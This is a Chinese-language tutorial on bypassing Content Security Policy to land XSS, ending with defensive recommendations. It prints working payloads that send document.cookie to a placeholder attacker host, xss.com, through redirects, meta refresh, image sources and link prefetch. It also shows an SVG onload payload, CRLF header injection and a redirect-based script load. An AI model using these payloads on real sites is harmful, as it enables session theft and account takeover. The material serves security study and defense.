初探CSPBypass一些细节总结
字数 1556 2025-08-29 08:31:42
CSP Bypass 技术细节与防御方法
1. CSP 简介与浏览器支持情况
内容安全策略 (Content Security Policy, CSP) 是一种用于防范 XSS 攻击的安全机制,通过定义哪些资源可以被加载和执行来增强网页安全性。
1.1 浏览器支持情况
- Firefox: 对 CSP 的支持最为完善,能够较好地实现 CSP 规范
- Chrome: 支持相对迟缓,历史上存在一些问题:
- Chrome 45 及之前版本默认禁止 inline 脚本执行,即使设置
'unsafe-inline'也无效 - 现代版本已逐步完善 CSP 支持,
'unsafe-inline'可以正常使用
- Chrome 45 及之前版本默认禁止 inline 脚本执行,即使设置
2. unsafe-inline 模式下的 Bypass 方法
当 CSP 策略设置为允许内联脚本时 (script-src 'self' 'unsafe-inline'),存在多种绕过方法:
2.1 利用 <link> 标签的 rel 属性
Firefox 浏览器
<link rel="dns-prefetch" href="[cookie].xss.com">
- 利用
dns-prefetch属性发送 DNS 查询泄露数据 - 该属性尚未被加入 CSP 实现中
Chrome 浏览器
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
- 使用
prefetch属性通过 GET 请求泄露 cookie - 可通过 JavaScript 动态创建元素实现
2.2 通用绕过方法
页面跳转
<script>
window.location="http://www.xss.com/x.php?c="+escape(document.cookie);
</script>
- CSP 通常不会限制
location.href跳转 - 可结合跳转回原页面减少被发现的可能性
动态创建元素跳转
var a=document.createElement("a");
a.href='http://www.xss.com/?c='+escape(document.cookie);
a.click();
<meta> 标签跳转
<meta http-equiv="refresh" content="5;url=http://www.xss.com/?c=[cookie]">
图片外链泄露
var i=document.createElement("img");
i.src='http://www.xss.com/?c='+escape(document.cookie);
document.body.appendChild(i);
- 适用于
img-src *策略的网站
3. 严格 CSP 策略下的 Bypass 方法 (script-src 'self')
3.1 重定向 (302) 绕过
当 CSP 限制脚本只能从特定目录加载时:
<script src="http://127.0.0.1/a/redirect.php?url=/b/2.js"></script>
- 通过同域下的 302 跳转可以加载其他目录下的脚本
- 限制:不能跨域跳转加载脚本
3.2 文件上传功能绕过
3.2.1 利用 MIME 类型
-
Apache: 未定义后缀的文件不返回 Content-Type,会被当作 HTML 解析
<!-- 上传 .xx 文件,内容为恶意代码 --> -
Nginx: 上传 SVG 文件
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(URL)"/>- SVG 文件会被正确解析并执行内联 JavaScript
3.2.2 加载伪装为 Flash 的文件
<embed src="http://127.0.0.1/upload/1.jpg" type="application/x-shockwave-flash"></embed>
- 将恶意 JavaScript 编译为 ActionScript 并保存为 .jpg
- Firefox 会忽略服务器返回的 MIME 类型,按照指定 type 加载
3.3 CRLF 注入绕过
通过注入换行符将 CSP 头部挤到 HTTP body 中:
Location: url\r\n\r\n<script>alert(1)</script>
- 适用于非 PHP 环境(PHP 高版本已禁止多行 header)
- 使 JavaScript 完全不受 CSP 限制
4. 其他注意事项
4.1 <link rel="import"> 的限制
- 加载的文档被视为内联脚本,受发起页 CSP 限制
- 相比 iframe 限制更多,不推荐用于 CSP 绕过
5. 防御建议
- 避免使用
unsafe-inline:内联脚本风险高,尽量使用外部脚本 - 严格限制资源加载:避免使用通配符 (
*),明确指定可信来源 - 文件上传安全:
- 严格验证文件内容和类型
- 设置正确的 MIME 类型
- 将上传文件存储在独立域名下
- 重定向安全:验证重定向目标,避免开放重定向
- CRLF 防护:过滤用户输入中的特殊字符
6. 结论
CSP 作为 XSS 防护机制仍存在多种绕过方法,特别是在 unsafe-inline 模式下风险较高。开发者应结合 CSP 与其他安全措施(如输入输出过滤、HTTP 头安全设置等)构建纵深防御体系。同时,随着浏览器对 CSP 支持的不断完善,新的绕过方法也会不断出现,需要持续关注安全更新。